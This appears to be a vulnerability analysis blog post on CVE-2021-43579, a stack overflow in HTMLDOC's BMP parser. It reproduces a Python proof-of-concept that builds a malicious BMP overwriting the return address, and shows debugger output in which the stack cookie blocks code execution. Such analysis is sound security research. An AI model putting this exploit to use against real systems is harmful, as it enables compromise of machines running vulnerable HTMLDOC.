CVE-2021-43579 1-Day Exploit Analysis
1-Day Exploit Analysis for CVE-2021-43579 (HTMLDOC <= 1.9.13)
CVE-2021-43579 Detail
Quick Info
NVD Published Date:
01/10/2022
NVD Last Modified:11/21/2024
Source:MITREDescription
A stack-based buffer overflow in image_load_bmp() in HTMLDOC <= 1.9.13 results in remote code execution if the victim converts an HTML document linking to a crafted BMP file.
Metrics
CVSS Version 3.x
NIST:NVD
Base Score:7.8 HIGH
Vector:CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HCVSS Version 2.0
NIST:NVD
Base Score:6.8 MEDIUM
Vector:(AV:N/AC:M/Au:N/C:P/I:P/A:P)Weakness Enumeration
CWE-ID CWE Name Source CWE-787 Out-of-bounds Write NIST Known Affected Software Configurations
Configuration 1
cpe:2.3:a:htmldoc_project:htmldoc:*:*:*:*:*:*:*:*(<= 1.9.13)cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
Known Exploit
https://www.exploit-db.com/exploits/52425
HTMLDOC 1.9.13 - Stack Buffer Overflow
EDB-ID:
52425
CVE:2021-43579
EDB Verified:XAuthor:
wulfgarpro
Type:Remote
Exploit: /download/52425 Raw: /raw/52425Platform:
Multiple
Date:2025-09-16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Exploit Code:
# ------------------------------------------------------------------------------
# Usage
# ------------------------------------------------------------------------------
# 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py`
# 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html`
# ------------------------------------------------------------------------------
# 14-byte BITMAPFILEHEADER
BITMAPFILEHEADER = (
b"\x42\x4d" # bfType
b"\x00\x00\x00\x00" # bfSize
b"\x00\x00" # bfReserved1
b"\x00\x00" # bfReserved2
b"\x00\x00\x00\x00" # bfOffBits
)
# 40-byte BITMAPINFOHEADER
BITMAPINFOHEADER = (
b"\x00\x00\x00\x00" # biSize
b"\x01\x00\x00\x00" # biWidth = 0x00000001 (1)
b"\x01\x00\x00\x00" # biHeight = 0x00000001 (1)
b"\x00\x00" # biPlanes
b"\x00\x00" # biBitCount
b"\x00\x00\x00\x00" # biCompression
b"\x00\x00\x00\x00" # biSizeImage
b"\x00\x00\x00\x00" # biXPelsPerMeter
b"\x00\x00\x00\x00" # biYPelsPerMeter
b"\xff\xff\xff\xff" # biClrUsed = 0xffffffff (-1)
b"\x00\x00\x00\x00" # biClrImportant
)
PAYLOAD = b"A" * 1080 # cyclic: uaakvaak
PAYLOAD += b"B" * 8 # RIP overwrite
def generate_poc_bmp():
with open("poc.bmp", "+wb") as poc_bmp:
poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)
def generate_poc_html():
with open("poc.html", "+w") as poc_html:
poc_html.write("<html><img src='./poc.bmp'/></html>")
if __name__ == "__main__":
generate_poc_bmp()
generate_poc_html()
Instructions
Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
Google Dork: N/A
Date: 2025-08-26
Exploit Author: wulfgarpro
Vendor Homepage: https://github.com/michaelrsweet/htmldoc
Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
Version: <= 1.9.13
Tested on: Linux x86_64
CVE: CVE-2021-43579
HTMLDOC’s BMP reader (image_load_bmp) uses a fixed-size stack buffer for the colour palette: 256 * 4 = 1024 bytes.
The image_load_bmp function advances past the 14-byte BITMAPFILEHEADER and parses the BITMAPINFOHEADER. The attacker-controlled biClrUsed field is read into an int and then directly drives the number of colour palette bytes copied into the 1024-byte stack buffer:
1
2
3
4
int colors_used;
uchar colormap[256][4]; // 1024 bytes
colors_used = (int)read_dword(fp); // biClrUsed
fread(colormap, (size_t)colors_used, 4, fp);
A fix in v1.9.13 only rejected colors_used > 256. Negative values are not rejected. A negative colors_used (e.g. biClrUsed = 0xffffffff == -1) is cast to size_t (wraps to SIZE_MAX), so fread is asked to copy a huge amount into the 1024-byte buffer.
fread(ptr, size, nmemb, ...) copies size * nmemb bytes. Here the call requests colors_used * 4 bytes. With biClrUsed = 0xffffffff (-1), (size_t)colors_used becomes SIZE_MAX, so the call requests an enormous read (size=SIZE_MAX, nmemb=4). In practice fread writes however many bytes are available; with our 1088-byte payload it overflows the 1024-byte buffer by 64 bytes:
Payload layout:
- 1080 ‘A’ bytes: fill the 1024-byte stack buffer and a further 56 bytes.
- 8 ‘B’ bytes: land on the saved return address on x86_64, producing
RIP = 0x4242424242424242.
Example crash without _FORTIFY_SOURCE / stack protector:
1
2
3
4
5
6
7
8
► 0 0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
1 0x4242424242424242 None
2 0x1 None
3 0x55a5d5e0 None
4 0x555555a9ffa0 None
5 0x555500000000 None
6 0x5555555a989c None
7 0x555555a5d5e0 _htmlGlyphs
With _FORTIFY_SOURCE=2, overflow is detected:
1
2
3
4
5
6
7
8
9
10
11
12
*** buffer overflow detected ***: terminated
Program received signal SIGABRT, Aborted.
► 0 0x7ffff749894c None
1 0x7ffff743e410 raise+32
2 0x7ffff742557a abort+38
3 0x7ffff7426613 None
4 0x7ffff7526319 None
5 0x7ffff7525c84 None
6 0x7ffff7526565 __fread_chk+389
7 0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346
Software Release
Binary Scan
Result of winchecksec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
D:\winchecksec>winchecksec.exe D:\HTMLDOC\htmldoc.exe
Warn: large load config, probably contains undocumented fields
Results for: D:\HTMLDOC\htmldoc.exe
Dynamic Base : "NotPresent"
ASLR : "NotPresent"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "NotPresent"
RFG : "NotPresent"
SafeSEH : "NotApplicable"
GS : "Present"
Authenticode : "NotPresent"
.NET : "NotPresent"
| Security Feature | Present |
|---|---|
| Dynamic Base | NotPresent |
| ASLR | NotPresent |
| High Entropy VA | NotPresent |
| Force Integrity | NotPresent |
| Isolation | Present |
| NX | Present |
| SEH | Present |
| CFG | NotPresent |
| RFG | NotPresent |
| SafeSEH | NotApplicable |
| GS | Present |
| Authenticode | NotPresent |
| .NET | NotPresent |
Result of Detect It Easy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
D:\Detect It Easy>diec.exe D:\HTMLDOC\htmldoc.exe --heuristicscan --verbose
[HEUR/About] Generic Heuristic Analysis by DosX (@DosX_dev)
[HEUR] Scanning has begun!
[HEUR] Scanning to programming language has started!
[HEUR/Any] C/C++ language detected!
[HEUR] Scan completed.
PE64
Operation system: Windows(Vista)[AMD64, 64-bit, Console]
Linker: Microsoft Linker(14.29.30136)
Compiler: Microsoft Visual C/C++(19.29.30136)[C]
Language: C
Library: Microsoft C/C++ Runtime[dynamic]
Library: zlib
Tool: Visual Studio(2019, v16.11)
| Binary Information | Information |
|---|---|
| Operating System | Windows(Vista)[AMD64, 64-bit, Console] |
| Linker | Microsoft Linker(14.29.30136) |
| Compiler | Microsoft Visual C/C++(19.29.30136)[C] |
| Language | C |
| Library | Microsoft C/C++ Runtime[dynamic] |
| Library | zlib |
| Tool | Visual Studio(2019, v16.11) |
Vulnerability Confirmation
1
2
D:\test>CVE-2021-43579.py
D:\test>"D:\HTMLDOC\htmldoc.exe" --webpage -f out.pdf "D:\test\poc.html"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
x64dbg:
Debugging: D:\HTMLDOC\htmldoc.exe
Database file: D:\release\x64\db\htmldoc.exe.dd64
Loading commandline...
Loading database from D:\release\x64\db\htmldoc.exe.dd64 31ms
Process Started: 0000000140000000 D:\HTMLDOC\htmldoc.exe
"D:\HTMLDOC\htmldoc.exe" --webpage -f out.pdf "D:\test\poc.html"
argv[0]: D:\HTMLDOC\htmldoc.exe
argv[1]: --webpage
argv[2]: -f
argv[3]: out.pdf
argv[4]: D:\test\poc.html
Breakpoint at 0000000140001479 (entry breakpoint) set!
...
System breakpoint reached!
INT3 breakpoint "entry breakpoint" at <htmldoc.OptionalHeader.AddressOfEntryPoint> (0000000140001479)!
EXCEPTION_DEBUG_INFO:
dwFirstChance: 0
ExceptionCode: C0000409 (STATUS_STACK_BUFFER_OVERRUN)
ExceptionFlags: 00000001
ExceptionAddress: ucrtbase.00007FFFC1F0CBA8
NumberParameters: 1
ExceptionInformation[00]: 0000000000000005
Last chance exception on 00007FFFC1F0CBA8 (C0000409, STATUS_STACK_BUFFER_OVERRUN)!
This error is most likely due to a guard stack (GS) protection, also known as Stack Cookie.
1
2
3
4
5
.text:0000000140035435 mov rcx, [rsp+488h+var_18]
.text:000000014003543D xor rcx, rsp ; StackCookie
.text:0000000140035440 call j___security_check_cookie
.text:0000000140035445 add rsp, 488h
.text:000000014003544C retn
I confirmed that [rsp+488h+var_18] is the stack cookie memory offset.
Conclusion
Currently, a practically successful RCE attack cannot be carried out due to the GS (Guard Stack). However, an RCE attack is possible if GS’s Stack Cookie can be read due to a format string vulnerability or other information leakage vulnerability.